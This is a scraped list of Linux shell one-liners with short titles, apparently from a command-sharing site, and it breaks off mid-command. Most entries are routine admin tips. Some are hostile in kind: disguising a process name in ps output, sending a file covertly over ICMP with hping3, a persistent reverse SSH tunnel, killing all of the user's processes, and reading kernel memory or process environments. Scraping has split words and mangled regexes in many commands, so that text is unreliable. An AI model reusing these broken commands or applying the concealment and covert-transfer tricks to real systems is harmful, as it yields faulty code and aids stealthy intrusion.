--page-requisites --convert-links www.moyagraphix.co.za Generat a Random MAC address $ MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0- 9a-f]{2})/\1:/g; s/:$//;'` Batch convert files to utf-8 $ find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} - o ../newdir_utf8/{} \; Run entire shell script as root $ #!/usr/bin/sudo /bin/bash Check if system is 32bit or 64bit $ arch Show permissions of current directory and all directories upwards to / $ namei -m $(pwd) move you up one directory quickly $ shopt -s autocdHide the name of a process listed in the `ps` output $ exec -a "/sbin/getty 38400 tty7" your_cmd -erase_all_files Remove a line from a file using sed (useful for updating known SSH server keys when they change) $ ssh-keygen -R <thehost> Short and elegant way to backup a single file before you change it. $ cp httpd.conf{,.bk} Find the most recently changed files (recursively) $ find . -type f -printf '%TY-%Tm-%Td %TT %p ' | sort All IP connected to my host $ netstat -lantp | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort -u Figure out what shell you're running $ echo $0 Download a file and uncompress it while it downloads $ wget http://URL/FILE. tar.gz -O - | tar xfz - List 10 largest directories in current directory $ du -hs */ | sort -hr | head Rename all .jpeg and .JPG files to have .jpg extension $ rename 's/\.jpe?g$/.jpg/i' * See where a shortened url takes you before click $ check(){ curl -sI $1 | sed -n 's/Location: *//p';} Stream YouTube URL directly to MPlayer $ yt () mplayer -fs -quiet $(youtube-dl -g "$1")Generate a Random MAC address $ openssl rand -hex 6 | sed 's/$..$/\1:/g; s/.$//' Remove Thumbs.db files from folders $ find ./ -name Thumbs.db -delete List open files that have no links to them on the filesystem $ lsof +L1 Display BIOS Information $ # dd if=/dev/mem bs=1k skip=768 count=256 2>/dev/null | strings -n 8 open path with your default program (on Linux/*BSD) $ xdg-open [path] Copy an element from the previous command $ !:1-3 View user activity per directory. $ sudo lsof -u someuser -a +D /etc use the previous commands params in the current command $ !!:[position] Choose from a nice graphical menu which DI.FM radio station to play $ zenity --list --width 500 --height 500 --column 'radio' --column 'url' --print- column 2 $(curl -s http://www.di.fm/ | awk - F '"' '/href="http:.*\.pls.*96k/ {print $2}' | sort | awk -F '/|\.' '{print $(NF- 1) " " $0}') | xargs mplayer check the status of 'dd' in progress (OS X) $ killall -INFO ddcopy from host1 to host2, through your host $ ssh root@host1 "cd /somedir/tocopy/ && tar -cf - ." | ssh root@host2 "cd /samedir/tocopyto/ && tar -xf -" Convert all Flac in a directory to Mp3 using maximum quality variable bitrate $ for file in *. flac; do flac -cd "$ file" | lame -q 0 --vbr-new -V 0 - "${ file%. flac}.mp3"; done recursive search and replace old with new string, inside files $ find . -type f -exec sed -i s/oldstring/newstring/g {} + Clean your broken terminal $ stty sane grep -v with multiple patterns. $ grep 'test' somefile | grep -vE '(error|critical|warning)' redirect stdout and stderr each to separate files and print both to the screen $ (some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog Identify long lines in a file $ awk 'length>72' file Use all the cores or CPUs when compiling $ make -j 4 Prints total line count contribution per user for an SVN repository $ svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq -c | sort -r Analyze awk fields $ awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'Colored SVN diff $ svn diff <file> | vim -R - Run a command, store the output in a pastebin on the internet and place the URL on the xclipboard $ ls | curl -F 'sprunge=<-' http://sprunge.us | xclip Show git branches by date - useful for showing active branches $ for k in `git branch|perl -pe s/^..//`;do echo -e `git show -- pretty= format:"%Cgreen%ci %Cblue%cr%Creset" $k|head - n 1`\\t$k;done|sort -r Find if the command has an alias $ type -all command Find last reboot time $ who -b Get your public ip using dyndns $ curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+" Show a config file without comments $ egrep -v "^$|^[[:space:]]*#" /etc/some/file Start screen in detached mode $ screen -d -m [<command>] Given process ID print its environment variables $ sed 's/\o0/ /g' /proc/INSERT_PID_HERE/environ Look up the definition of a word $ curl dict://dict.org/d:somethingDiff files on two remote hosts. $ diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list) Ctrl+S Ctrl+Q terminal output lock and unlock $ Ctrl+S Ctrl+Q iso-8859-1 to utf-8 safe recursive rename $ detox -r -s utf_8 /path/to/old/win/files/dir create dir tree $ mkdir -p doc/{text/,img/{wallpaper/,photos/}} Run any GUI program remotely $ ssh -fX <user>@<host> <program> Delete all empty lines from a file with vim $ :g!/\S/d List the files any process is using $ lsof +p xxxx Backup your hard drive with dd $ sudo dd if=/dev/sda of=/media/disk/backup/sda.backup Show biggest files/directories, biggest first with 'k,m,g' eyecandy $ du --max-depth=1 | sort -r -n | awk '{split("k m g",v); s=1; while($1>1024) {$1/=1024; s++} print int($1)" "v[s]"\t"$2}' change directory to actual path instead of symlink path $ cd `pwd -P` Recursively remove .svn directories from the current location $ find . -type d -name '.svn' -print0 | xargs -0 rm -rdfRead and write to TCP or UDP sockets with common bash tools $ exec 5<>/dev/tcp/time.nist.gov/13; cat <&5 & cat >&5; exec 5>&- Commandline document conversion with Libreoffice $ soffice --headless -convert-to odt:"writer8" somefile.docx Use top to monitor only all processes with the same name fragment 'foo' $ top -p $(pgrep -d , foo) HourGlass $ hourglass() { trap 'tput cnorm' 0 1 2 15 RETURN;local s=$(($SECONDS +$1)); (tput civis;while (($SECONDS<$s));do for f in '|' '\' '-' '/';do echo - n "$f";sleep .2s; echo -n $'\b';done;done;);} delete command line last word $ ctrl+w Swap the two last arguments of the current command line $ <ctrl+e> <esc+t> Draw kernel module dependancy graph. $ lsmod | awk 'BEGIN{ print "digraph{"}{split($4, a, ","); for (i in a) print $1, "- >", a[i]}END{ print "}"}'|display Color man pages $ echo "export LESS_TERMCAP_mb=$'\E[01;31m'" >> ~/.bashrc Print without executing the last command that starts with... $ !ssh:p What is the use of this switch ? $ manswitch () { man $1 | less -p "^ +$2"; }Save the list of all available commands in your box to a file $ compgen -c | sort -u > commands Protect directory from an overzealous rm -rf * $ cd <directory>; touch ./-i Watch RX/TX rate of an interface in kb/s $ while [ /bin/ true ]; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done Rapidly invoke an editor to write a long, complex, or tricky command $ <ESC> v Reuse last parameter $ !$ Blink LED Port of NIC Card $ ethtool -p eth0 pretend to be busy in office to enjoy a cup of coffee $ j=0;while true; do let j=$j+1; for i in $(seq 0 20 100); do echo $i;sleep 1; do ne | dialog --gauge "Install part $j : `sed $(perl - e "print int rand(99999)")"q;d" /usr/share/dict/words`" 6 40;done Running scripts after a reboot for non-root users . $ @reboot <yourscript.sh> run command on a group of nodes in parallel $ echo "uptime" | pee "ssh host1" "ssh host2" "ssh host3" make, or run a script, everytime a file in a directory is modified $ while true; do inotifywait -r -e MODIFY dir/ && make; done;Convert a Nero Image File to ISO $ dd bs=1k if=image.nrg of=image.iso skip=300 Change prompt to MS-DOS one (joke) $ export PS1="C:\$( pwd | sed 's:/:\\\\\\:g' )\\> " View network activity of any application or user in realtime $ lsof -r 2 -p PID -i -a Copy with progress $ rsync --progress file1 file2 a shell function to print a ruler the width of the terminal window. $ ruler() { for s in '....^....|' '1234567890'; do w=${# s}; str=$( for (( i=1; $i<=$ (( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo - n $ s; done ); str=$( echo $ str | cut -c -$COLUMNS) ; echo $ str; done; } Print a list of standard error codes and descriptions. $ perl -le 'print $!+0, "\t", $!++ for 0..127' generate random password $ pwgen -Bs 10 1 A function to output a man page as a pdf file $ function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf - dCompatibility=1.3 - - > ${1}.pdf; } Search back through previous commands $ Ctrl-R <search-text> Show directories in the PATH, one per line $ echo $PATH | tr \: \Move all images in a directory into a directory hierarchy based on year, month and day based on exif information $ exiftool '-Directory<DateTimeOriginal' -d %Y/%m/%d dir Follow tail by name (fix for rolling logs with tail -f) $ tail -F file Convert "man page" to text file $ man ls | col -b > ~/Desktop/ man_ ls.txt Display current bandwidth statistics $ ifstat -nt restoring some data from a corrupted text file $ ( cat badfile.log ; tac badfile.log | tac ) > goodfile.log view the system console remotely $ sudo cat /dev/vcs1 | fold -w 80 Download all Delicious bookmarks $ curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all Redirect STDIN $ < /path/to/file.txt grep foo I hate `echo X | Y` $ base64 - d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U 9Y29tbWFuZGxpbmVmdQo= Send keypresses to an X application $ xvkbd -xsendevent -text "Hello world"Add calendar to desktop wallpaper $ convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black - draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg Browse system RAM in a human readable form $ sudo cat /proc/kcore | strings | awk 'length > 20' | less Add forgotten changes to the last git commit $ git commit --amend Calculates the date 2 weeks ago from Saturday the specified format. $ date -d '2 weeks ago Saturday' +%Y-%m-%d Get Cisco network information $ tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000' Press ctrl+r in a bash shell and type a few letters of a previous command $ ^r in bash begins a reverse-search-history with command completion Extract audio from a video $ ffmpeg -i video.avi -f mp3 audio.mp3 Quick glance at who's been using your system recently $ last | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c Get Dell Service Tag Number from a Dell Machine $ sudo dmidecode | grep Serial\ Number | head -n1 ping a range of IP addresses $ nmap -sP 192.168.1.100-254 Use last argument of last command $ file !$Show which programs are listening on TCP and UDP ports $ netstat -plunt Print all git repos from a user $ curl -s https://api.github.com/users/<username>/repos? per_page=1000 |grep git_url |awk '{print $2}'| sed 's/"$.*$",/\1/' Determine if a port is open with bash $ : </dev/tcp/127.0.0.1/80 Search for a process by name $ ps -fC PROCESSNAME Mount a VMware virtual disk (.vmdk) file on a Linux box $ kpartx -av <image-flat.vmdk>; mount -o /dev/mapper/loop0p1 /mnt/vmdk Download all mp3's listed in an html page $ wget -r -l1 -H -t1 -nd -N -np -A.mp3 -erobots=off [url of website] Google text-to-speech in mp3 format $ t2s() { wget -q -U Mozilla -O $(tr ' ' _ <<< "$1"| cut -b 1- 15).mp3 "http://translate.google.com/translate_tts?ie=UTF- 8&tl=en&q=$(tr ' ' + <<< "$1")"; } Run the built in PHP-server in current folder $ php -S 127.0.0.1:8080 Press enter and take a WebCam picture. $ read && ffmpeg -y -r 1 -t 3 -f video4linux2 -vframes 1 -s sxga - i /dev/video0 ~/webcam-$(date +%m_%d_%Y_%H_%M).jpeg sort the output of the 'du' command by largest first, using human readable output. $ du -h --max-depth=1 |sort -rhVerify/edit bash history command before executing it $ shopt -s histverify Gets the english pronunciation of a phrase $ say() { mplayer "http://translate.google.com/translate_tts?q=$1"; } Check syntax for all PHP files in the current directory and all subdirectories $ find . -name \*. php -exec php -l "{}" \; Ask for a password, the passwd-style $ read -s -p"Password: " USER_PASSWORD_VARIABLE; echo monitor memory usage $ watch vmstat -sSM Content search. $ ff() { local IFS='|'; grep -rinE "$*" . ; } Timer with sound alarm $ sleep 3s && espeak "wake up, you bastard" 2>/dev/null Run a program transparently, but print a stack trace if it fails $ gdb -batch -ex "run" -ex "bt" ${my_program} 2>&1 | grep -v ^"No stack."$ Send email with curl and gmail $ curl -n --ssl-reqd --mail-from "<user@gmail.com>" --mail-rcpt " <user@server.tld>" --url smtps://smtp.gmail.com:465 -T file.txt run command on a group of nodes in parallel $ echo "uptime" | tee >(ssh host1) >(ssh host2) >(ssh host3) Display BIOS Information $ dmidecode -t biosList of commands you use most often $ history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head > /tmp/cmds | gnuplot - persist <(echo 'plot "/tmp/cmds" using 1:xticlabels(2) with boxes') kill process by name $ pkill -x firefox Ping scanning without nmap $ for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done Make ISO image of a folder $ mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 - o OpenCD.iso ~/OpenCD Typing the current date ( or any string ) via a shortcut as if the keys had been actually typed with the hardware keyboard in any application. $ xvkbd -xsendevent -text $(date +%Y%m%d) Update twitter via curl (and also set the "from" bit) $ curl -u twitter-username -d status="Hello World, Twitter!" - d source="cURL" http://twitter.com/statuses/update.xml quickest (i blv) way to get the current program name minus the path (BASH) $ path_stripped_programname="${0##*/}" Play music from youtube without download $ wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn - acodec libmp3lame -| mpg123 - Function that outputs dots every second until command completes $ sleeper(){ while `ps -p $1 &>/dev/null`; do echo - n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeperIdentify differences between directories (possibly on different servers) $ diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort - k 2') <(ssh server02 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') Replace spaces in filenames with underscores $ rename -v 's/ /_/g' * Show directories in the PATH, one per line $ echo "${PATH//:/$' '}" move a lot of files over ssh $ rsync -az /home/user/test user@sshServer:/tmp/ find and delete empty dirs, start in current working dir $ find . -empty -type d -exec rmdir {} + urldecoding $ sed -e's/%$[0-9A-F][0-9A-F]$/\\\\\x\1/g' | xargs echo -e Validate and pretty-print JSON expressions. $ echo '{"json":"obj"}' | python -m simplejson.tool List your largest installed packages. $ wajig large Monitor TCP opened connections $ watch -n 1 "netstat -tpanl | grep ESTABLISHED" Fix Ubuntu's Broken Sound Server $ sudo killall -9 pulseaudio; pulseaudio >/dev/null 2>&1 & beep when a server goes offline $ while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; doneNumber of open connections per ip. $ netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n Fibonacci numbers with awk $ seq 50| awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}' Create a favicon $ convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon - output favicon.ico face.ppm Check Ram Speed and Type in Linux $ sudo dmidecode --type 17 | more Run the Firefox Profile Manager $ firefox -no-remote -P Sort dotted quads $ sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4 Resume aborted scp file transfers $ rsync --partial --progress --rsh=ssh SOURCE DESTINATION Another Curl your IP command $ curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g' Add your public SSH key to a server in one command $ cat . ssh/id_rsa.pub | ssh hostname ' cat >> . ssh/authorized_keys' cycle through a 256 colour palette $ yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m "; sleep .01; done scping files with streamlines compression (tar gzip) $ tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destinationSelect rectangular screen area $ Ctrl + Alt Google verbatim search on your terminal $ function google { Q="$@"; GOOG_URL='https://www. google.de/search? tbs=li:1&q='; AGENT="Mozilla/4.0"; stream=$(curl -A "$AGENT" - skLm 10 "${GOOG_URL}${Q//\ /+}" | grep -oP '\/url\?q=.+?&' | sed 's|/url?q=||; s|&||'); echo -e "${stream//\%/\x}"; } grep processes list avoiding the grep itself $ ps axu | grep [a]pache2 Transfer a file to multiple hosts over ssh $ pscp -h hosts.txt -l username /etc/hosts /tmp/hosts Daemonize nc - Transmit a file like a http server $ while ( nc -l 80 < /file.htm > : ) ; do : ; done & tail a log over ssh $ ssh -t remotebox "tail -f /var/log/remote.log" du with colored bar graph $ t=$(df| awk 'NR!=1{sum+=$2}END{print sum}');sudo du / --max- depth=1|sed '$d'|sort -rn -k1 | awk - v t=$t 'OFMT="%d" {M=64; for (a=0;a<$1;a++){if (a>c) {c=a}}br=a/c;b=M*br; for(x=0;x<b;x++) {printf "\033[1;31m" "|" "\033[0m"}print " "$2" "(a/t*100)"% total"}' Resize an image to at least a specific resolution $ convert -resize '1024x600^' image.jpg small-image.jpg Query well known ports list $ getent services <<service>> Create .pdf from .doc $ oowriter -pt pdf your_word_file.docDiff XML files $ diffxml() { diff -wb <(xmllint --format "$1") <(xmllint --format "$2"); } Discovering all open files/dirs underneath a directory $ lsof +D <dirname> "Clone" a list of installed packages from one Debian/Ubuntu Server to another $ apt-get install `ssh root@host_you_want_to_clone "dpkg -l | grep ii" | awk '{print $2}'` clear screen, keep prompt at eye-level (faster than clear(1), tput cl, etc.) $ cls(){ printf "\33[2J";} or, if no printf, cat >cls;<ctrl-v><ctrl+[>[2J<enter> <ctrl+d> cls(){ cat cls;} Down for everyone or just me? $ down4me() { wget -qO - "http://www.downforeveryoneorjustme.com/$1" | sed '/just you/!d;s/<[^>]*>//g' ; } A formatting test for David Winterbottom: improving commandlinefu for submitters $ echo "?????, these are the umlauted vowels I sing to you. Oh, and sometim es ?, but I don't sing that one cause it doesn't rhyme." Compare copies of a file with md5 $ cmp file1 file2 backup delicious bookmarks $ curl --user login:password -o DeliciousBookmarks.xml - O 'https://api.del.icio.us/v1/posts/all' analyze traffic remotely over ssh w/ wireshark $ ssh root@HOST tcpdump -U -s0 -w - 'not port 22' | wireshark -k -i - pretend to be busy in office to enjoy a cup of coffee $ for i in {0..600}; do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40Get all links of a website $ lynx -dump http://www.domain.com | awk '/http/{print $2}' Find all active ip's in a subnet $ sudo arp-scan -I eth0 192.168.1.0/24 Disassemble some shell code $ echo -ne "<shellcode>" | x86dis -e 0 -s intel List bash functions defined in .bash_profile or .bashrc $ compgen -A function Resume a detached screen session, resizing to fit the current terminal $ screen -raAd ignore the .svn directory in filename completion $ export FIGNORE=.svn Working random fact generator $ wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\ (.*\)</i>.*$;\1;" Remote backups with tar over ssh $ tar jcpf - [sourceDirs] |ssh user@host "cat > /path/to/backup/backupfile. tar.bz2" Pronounce an English word using Dictionary.com $ pronounce(){ wget -qO- $( wget -qO- "http://dictionary.reference.com/browse/$@" | grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=$[^&]*$&.*|\1|' | sed 's/%3A/:/g;s/%2F/\//g') | mpg123 -; } Change pidgin status $ purple-remote "setstatus?status=away&message=AFK"Grep by paragraph instead of by line. $ grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" < "$2";} Vim: Switch from Horizontal split to Vertical split $ ^W-L Numbers guessing game $ A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read - p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N? $X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries, Einstein"; a trash function for bash $ trash <file> Sort all running processes by their memory & CPU usage $ ps aux --sort=%mem,%cpu generate a unique and secure password for every website that you login to $ sitepass() { echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | s trings -n 1 | tr -d " [:space:]" | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history - d $(($HISTCMD-1)); } Change user, assume environment, stay in current dir $ su -- user List Network Tools in Linux $ apropos network |more Save current layout of top $ <Shift + W> Testing hard disk reading speed $ hdparm -t /dev/sdaHow fast is the connexion to a URL, some stats from curl $ URL="http://www.google.com";curl -L --w "$URL DNS %{ time_namelookup}s conn %{ time_connect}s time %{ time_total}s Speed %{speed_download}bps Size %{size_download}bytes " -o/dev/null -s $URL An easter egg built into python to give you the Zen of Python $ python -c 'import this' Salvage a borked terminal $ <ctrl+j>stty sane<ctrl+j> Get all IPs via ifconfig $ ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1' Use Cygwin to talk to the Windows clipboard $ cat /dev/clipboard; $(somecommand) > /dev/clipboard Backup files incremental with rsync to a NTFS-Partition $ rsync -rtvu --modify-window=1 -- progress /media/SOURCE/ /media/TARGET/ List programs with open ports and connections $ lsof -i Find corrupted jpeg image files $ find . -name "*jpg" -exec jpeginfo -c {} \; | grep -E "WARNING|ERROR" 'Fix' a typescript file created by the 'script' program to remove control characters $ cat typescript | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col - b > typescript-processed Share a 'screen'-session $ screen -xPurge configuration files of removed packages on debian based systems $ sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'` Show all detected mountable Drives/Partitions/BlockDevices $ hwinfo --block --short Displays the attempted user name, ip address, and time of SSH failed logins on Debian machines $ awk '/sshd/ && /Failed/ {gsub(/invalid user/,""); printf "%-12s %-16s %s-%s- %s ", $9, $11, $1, $2, $3}' /var/log/auth.log Merge *.pdf files $ gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite - sOutputFile=out.pdf `ls *.pdf` Append stdout and stderr to a file, and print stderr to the screen [bash] $ somecommand 2>&1 >> logfile | tee -a logfile quickly change all .html extensions on files in folder to .htm $ for i in *.html ; do mv $i ${i%.html}.htm ; done Delete the specified line $ sed -i 8d ~/.ssh/known_hosts Read the output of a command into the buffer in vim $ :r !command Create an SSH SOCKS proxy server on localhost:8000 that will re-start itself if something breaks the connection temporarily $ autossh -f -M 20000 -D 8000 somehost -N Find broken symlinks $ find . -type l ! -exec test -e {} \; -printssh tunnel with auto reconnect ability $ while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes - R 2222:localhost:22 target " while nc - zv localhost 2222; do sleep 5; done"; sleep 5;done find process associated with a port $ fuser [portnumber]/[proto] Echo the latest commands from commandlinefu on the console $ wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s* <title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s* <description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]" "} ' add all files not under version control to repository $ svn status |grep '\?' |awk '{print $2}'| xargs svn add Using a single sudo to run multiple && arguments $ sudo -s <<< ' apt update -y && apt upgrade -y' Disco lights in the terminal $ while true; do pri ntf "\e[38;5;$(($(od -d -N 2 - A n /dev/ura ndom)%$(tput colors)))m.\e[0m"; do ne Show how old your linux OS installtion is $ sudo tune2fs -l $(df -h / |(read; awk '{print $1; exit}')) | grep -i created Fetch the current human population of Earth $ curl -s http://www.census.gov/popclock/data/population/world | python - c 'import json,sys;obj=json.load(sys.stdin);print obj["world"]["population"]' Discover the process start time $ ps -eo pid,lstart,cmdThe fastest remote directory rsync over ssh archival I can muster (40MB/s over 1gb NICs) $ rsync -aHAXxv --numeric-ids --delete --progress -e "ssh -T -c arcfour - o Compression=no -x" user@<source>:<source_dir> <dest_dir> True Random Dice Roll $ tr -cd '1-6' < /dev/urandom | head -c 1; echo Automatically find and re-attach to a detached screen session $ screen -D -R This is how you should push a string in a command's stdin. $ command <<< word ping as traceroute $ for i in {1..30}; do ping -t $i -c 1 google.com; done | grep "Time to live exceeded" what model of computer I'm using? $ sudo dmidecode | grep Product Extract tar content without leading parent directory $ tar -xaf archive. tar.gz --strip-components=1 Target a specific column for pattern substitution $ awk '{gsub("foo","bar",$5)}1' file Run a command when a file is changed $ while inotifywait -e modify /tmp/myfile; do firefox; done Watch several log files of different machines in a single multitail window on your own machine $ multitail -l 'ssh machine1 "tail -f /var/log/apache2/error.log"' - l 'ssh machine2 "tail -f /var/log/apache2/error.log"'Substrings a variable $ var='123456789'; echo ${var:<start_pos>:<offset>} One command line web server on port 80 using nc (netcat) $ while true ; do nc -l 80 < index.html ; done RDP through SSH tunnel $ ssh -f -L3389: <RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop - T'<WINDOW_TITLE>' -uAdministrator -g800x600 -a8 -rsound:off - rclipboard:PRIMARYCLIPBOARD -5 localhost Numeric zero padding file rename $ rename 's/\d+/sprintf("%04d",$&)/e' *.jpg Find out the starting directory of a script $ echo "${0%/*}" Remote screenshot $ ssh user@remote-host "DISPLAY=:0.0 import -window root -format png - "|display -format png - Google text-to-speech in mp3 format $ say(){ mplayer -user- agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; } add the result of a command into vi $ !!command Place the NUM-th argument of the most recent command on the shell $ <ALT>+<.> or <ALT>+<NUM>+<.> or <ALT>+<NUM>,<ALT>+<.> Find the package a command belongs to on Debian $ dpkg -S $( which ls )Look up a unicode character by name $ egrep -i "^[0-9a-f]{4,} .*$*" $(locate CharName.pm) | while read h d; do /usr/bin/printf "\U$(printf "%08x" 0x$h)\tU+%s\t%s " $h "$d"; done Start dd and show progress every X seconds $ dd if=/path/inputfile | pv | dd of=/path/outpufile Ask user to confirm $ Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; } Capture video of a linux desktop $ ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -i :0.0 -acodec pcm_s16le output.wav - an -vcodec libx264 -vpre lossless_ultrafast -threads 0 output.mp4 Random unsigned integer $ echo $(openssl rand 4 | od -DAn) kill all process that belongs to you $ kill -9 -1 Make a file not writable / immutable by root $ sudo chattr +i <file> Continue a current job in the background $ <ctrl+z> bg translates acronyms for you $ wtf is <acronym> Delete DOS Characters via VIM (^M) $ :set ff=unixCreate an animated gif from a Youtube video $ url=http://www.youtube.com/watch?v=V5bYDhZBFLA; youtube-dl - b $url; mplayer $(ls ${url##*=}*| tail -n1) -ss 00:57 -endpos 10 - vo gif89a:fps=5:output=output.gif -vf scale=400:300 -nosound Print just line 4 from a textfile $ sed -n '4{p;q}' Print just line 4 from a textfile $ sed -n '4p' Quick HTML image gallery from folder contents $ find . -iname '*.jpg' -exec echo '<img src="{}">' \; > gallery.html Get your external IP address without curl $ wget -qO- icanhazip.com Countdown Clock $ MIN=1 && for i in $(seq $(($MIN*60)) -1 1); do echo - n "$i, "; sleep 1; done; echo -e " BOOOM! Time to start." lines in file2 that are not in file1 $ grep -Fxv -f file1 file2 JSON processing with Python $ curl -s "http://feeds.delicious.com/v2/json?count=5" | python -m json.tool | less -R Start a HTTP server which serves Python docs $ pydoc -p 8888 & gnome-open http://localhost:8888 Optimize PDF documents $ gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 - dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH - sOutputFile=output.pdf input.pdfDo some learning... $ ls /usr/bin | xargs whatis | grep -v nothing | less Insert the last argument of the previous command $ <ALT> . Carriage return for reprinting on the same line $ while true; do echo -ne "$(date)\r"; sleep 1; done Copy a folder tree through ssh using compression (no temporary files) $ ssh <host> ' tar -cz /<folder>/<subfolder>' | tar -xvz command line calculator $ calc(){ awk "BEGIN{ print $* }" ;} Backup a local drive into a file on the remote host via ssh $ dd if=/dev/sda | ssh user@server ' dd of=sda.img' Kill processes that have been running for more than a week $ find /proc -user myuser -maxdepth 1 -type d -mtime +7 - exec basename {} \; | xargs kill -9 Print text string vertically, one character per line. $ echo "vertical text" | grep -o '.' Find running binary executables that were not installed using dpkg $ cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin Add prefix onto filenames $ rename 's/^/prefix/' * Pick a random line from a file $ shuf -n1 file.txtGet all these commands in a text file with description. $ for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort- by-votes/plaintext/$x" ; done > commandlinefu.txt Stripping ^M at end of each line for files $ dos2unix <filenames> Find removed files still in use via /proc $ find -L /proc/*/fd -links 0 2>/dev/null Connect to google talk through ssh by setting your IM client to use the localhost 5432 port $ ssh -f -N -L 5432:talk.google.com:5222 user@home.network.com List and delete files older than one year $ find <directory path> -mtime +365 -and -not -type d -delete for all flv files in a dir, grab the first frame and make a jpg. $ for f in *.flv; do ffmpeg -y -i "$f" -f image2 -ss 10 -vframes 1 - an "${f%.flv}.jpg"; done wrap long lines of a text $ fold -s -w 90 file.txt Grep colorized $ grep -i --color=auto from within vi, pipe a chunk of lines to a command line and replace the chunk with the result $ !}sort Grep for word in directory (recursive) $ grep --color=auto -iRnH "$search_word" $directoryUnix alias for date command that lets you create timestamps in ISO 8601 format $ alias timestamp='date "+%Y%m%dT%H%M%S"' Grep without having it show its own process in the results $ ps aux | grep "[s]ome_text" count IPv4 connections per IP $ netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1 | sort | uniq -c | sort -n Files extension change $ rename .oldextension .newextension *.oldextension archive all files containing local changes (svn) $ svn st | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz Just run it ;) $ echo SSBMb3ZlIFlvdQo= | base64 -d pattern match in awk - no grep $ awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}' Block an IP address from connecting to a server $ iptables -A INPUT -s 222.35.138.25/32 -j DROP Optimal way of deleting huge numbers of files $ find /path/to/dir -type f -print0 | xargs -0 rm Optimal way of deleting huge numbers of files $ rsync -a --delete empty-dir/ target-dir/du with colored bar graph $ du -x --max-depth=1|sort -rn|awk -F / - v c=$COLUMNS 'NR==1{t=$1} NR>1{r=int($1/t*c+.5); b="\033[1;31m"; for (i= 0; i<r; i++) b=b"#"; printf " %5.2f%% %s\033[0m %s ", $1/t*100, b, $2}'|tac quick copy $ cp foo{,bak} Sending a file over icmp with hping $ hping3 10.0.2.254 --icmp --sign MSGID1 -d 50 -c 1 --file a_file Kill a broken ssh connection $ <Return>~. Convert JSON to YAML $ ruby -ryaml -rjson - e 'puts 